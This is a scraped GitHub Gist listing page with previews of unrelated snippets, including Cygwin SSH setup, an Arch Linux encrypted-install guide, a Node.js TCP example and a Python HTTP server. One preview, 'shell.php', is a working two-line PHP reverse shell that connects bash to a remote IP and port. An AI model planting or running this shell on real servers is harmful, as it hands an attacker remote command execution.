Skip to content

Instantly share code, notes, and snippets.

@roxlu
roxlu / install_cygwin_sshd.txt
Last active January 31, 2026 09:42
Installing CYGWIN + SSHD for remote access through SSH on windows
Installing CYGWIN with SSH
1) Download cygwin setup.exe from http://www.cygwin.com
- Execute setup.exe
- Install from internet
- Root directory: `c:\cygwin` + all users
- Local package directory: use default value
- Select a mirror to download files from
- Select these packages:
- editors > xemacs 21.4.22-1
- net > openssh 6.1-p
@davidruhmann
davidruhmann / Hybrid.bat
Last active November 13, 2024 13:00
[Batch] JScript and Batch Hybrid
@if (@CodeSection == @Batch) @then
:: The first line above is...
:: in Batch, a valid IF command that does nothing.
:: in JScript, a conditional compilation IF statement that is false.
:: So the following section is omitted until the next "[at]end".
:: Note: the "[at]then" does nothing and is only for readablility.
:: Batch Section
@tedmiston
tedmiston / nodejs-tcp-example.js
Last active March 5, 2026 23:45
Node.js TCP client and server example
/*
In the node.js intro tutorial (http://nodejs.org/), they show a basic tcp
server, but for some reason omit a client connecting to it. I added an
example at the bottom.
Save the following server in example.js:
*/
var net = require('net');
@heimp
heimp / unordered_list_of_programming_languages.txt
Last active February 14, 2026 01:51
just names and urls of various programming languages that seem kind of interesting to me
Possibly Interesting Programming Languages
Possibly Unmanaged? (By This I Mean "Not Garbage Collected?")
--------------------------------------------
Rust https://www.rust-lang.org/
Pascal http://freepascal.org/
Ada http://www.adaic.org/
ParaSail http://parasail-lang.org/
BitC https://github.com/repos-bitc/bitc
Clay http://claylabs.com/clay
@mattiaslundberg
mattiaslundberg / arch-linux-install
Last active March 11, 2026 09:03
Minimal instructions for installing arch linux on an UEFI system with full system encryption using dm-crypt and luks
# Install ARCH Linux with encrypted file-system and UEFI
# The official installation guide (https://wiki.archlinux.org/index.php/Installation_Guide) contains a more verbose description.
# Download the archiso image from https://www.archlinux.org/
# Copy to a usb-drive
dd if=archlinux.img of=/dev/sdX bs=16M && sync # on linux
# Boot from the usb. If the usb fails to boot, make sure that secure boot is disabled in the BIOS configuration.
# Set swedish keymap
@rosswd
rosswd / channels.md
Last active January 1, 2026 03:44
IRC resources
@joeymink
joeymink / last_tweet.sh
Created April 9, 2014 13:35
Bash script to display a user's last tweet
#!/bin/bash
function usage {
echo "Usage:"
echo "last_tweet.sh <api key> <api secret> <username>"
exit 1
}
if [ -z $1 ] || [ -z $2 ] || [ -z $3 ]; then
usage
@pankajp
pankajp / serve_http.py
Last active February 19, 2026 10:41
Simple Python HTTP Server with multi-threading and partial-content support
#! /usr/bin/env python
# Standard library imports.
from SocketServer import ThreadingMixIn
import BaseHTTPServer
import SimpleHTTPServer
import sys
import json
import os
from os.path import (join, exists, dirname, abspath, isabs, sep, walk, splitext,
@rshipp
rshipp / shell.php
Created July 17, 2014 15:06
A tiny PHP/bash reverse shell.
<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/10.0.0.10/1234 0>&1'");
@nak3
nak3 / mptcp_rpm_install.md
Last active October 26, 2021 08:58
mptcp kernel RPM package install instructions

Description

mptcp_kernel is the kernel package which built with mptcp (MultiPath TCP) function. The source code is hosted in github .

The RPM package is hosted on Fedora copr. It can be used on Fedora and CentOS (only x86_64) and their some versions..

####WARNING

This package is now still working in progress and being tested by Kenjiro Nakayama. Please don't use it in your production system. And this is not official repository and please take full responsibility for your actions.